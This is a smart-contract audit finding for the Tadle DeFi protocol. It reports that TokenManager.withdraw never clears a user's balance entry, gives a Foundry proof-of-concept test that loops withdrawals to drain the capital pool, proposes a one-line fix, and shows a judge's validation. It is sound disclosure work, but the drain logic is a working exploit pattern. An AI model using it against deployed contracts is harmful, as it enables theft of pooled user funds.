Tadle
Tadle
DeFi
30,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Unchanged user allocation leads to capital pool drain

dobrevaleri

Summary

Unchanged user allocation leads to capital pool drain

Vulnerability Details

When a user receives a payment, he can claim their earnings using the withdraw method of the TokenManager contract. This method uses the allocation for the specific token address and balance type from the userTokenBalanceMap and then transfers the amount to the msg.sender.

Impact

Due to the absence of state updates for the user's allocation, a user can withdraw the entire balance of the Capital Pool for the token they have allocated.

Proof of Concept

function test_widthraw_all_funds_from_pool() public {
// Setup
capitalPool.approve(address(mockUSDCToken));
​
// Create the offer that we will match
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 1000, 0.01 * 1e18, 10000, 0, OfferType.Ask, OfferSettleType.Turbo
)
);
vm.stopPrank();
​
// Create an offer from another user so we have funds in the capital pool
vm.startPrank(user1);
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 1000, 0.01 * 1e18, 10000, 0, OfferType.Ask, OfferSettleType.Turbo
)
);
​
vm.stopPrank();
​
uint256 expectedPoolBalance = 0.02 * 1e18;
uint256 actualPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
assertEq(expectedPoolBalance, actualPoolBalance);
​
// Buy from the first offer
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
address offerAddr = GenerateAddress.generateOfferAddress(0);
​
preMarktes.createTaker(offerAddr, 1000);
vm.stopPrank();
​
uint256 initialPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
​
uint256 initialUserBalance = mockUSDCToken.balanceOf(user);
uint256 availableToClaim =
tokenManager.userTokenBalanceMap(address(user), address(mockUSDCToken), TokenBalanceType.SalesRevenue);
uint256 poolBalance = initialPoolBalance;
uint256 expectedUserBalance = initialUserBalance + availableToClaim;
uint256 expectedPoolBalanceAfterWithdraw = initialPoolBalance - availableToClaim;
​
// Act
// Claim the available funds
vm.startPrank(user);
​
while (poolBalance > availableToClaim) {
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
poolBalance = mockUSDCToken.balanceOf(address(capitalPool));
availableToClaim =
tokenManager.userTokenBalanceMap(address(user), address(mockUSDCToken), TokenBalanceType.SalesRevenue);
}
​
// Assert
​
uint256 finalUserBalance = mockUSDCToken.balanceOf(user);
uint256 availableToClaimAfterWithdrawals =
tokenManager.userTokenBalanceMap(address(user), address(mockUSDCToken), TokenBalanceType.SalesRevenue);
​
// Validate funds received
assert(finalUserBalance > expectedUserBalance);
assert(poolBalance < expectedPoolBalanceAfterWithdraw);
​
//Validate can claim again
assertEq(availableToClaimAfterWithdrawals, availableToClaim);
​
vm.stopPrank();
}

Tools Used

VS code, foundry tests

Recommended Mitigation

The recommended mitigation is to add a allocation change in the withdraw function.

function withdraw(address _tokenAddress, TokenBalanceType _tokenBalanceType) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
​
+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0;
​
address capitalPoolAddr = tadleFactory.relatedContracts(RelatedContractLibraries.CAPITAL_POOL);
​
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(wrappedNativeToken, capitalPoolAddr, address(this), claimAbleAmount, capitalPoolAddr);
​
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(_tokenAddress, capitalPoolAddr, _msgSender(), claimAbleAmount);
}
​
emit Withdraw(_msgSender(), _tokenAddress, _tokenBalanceType, claimAbleAmount);
}

This way the function will follow CEI and will be prone to reentrancies too.

Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.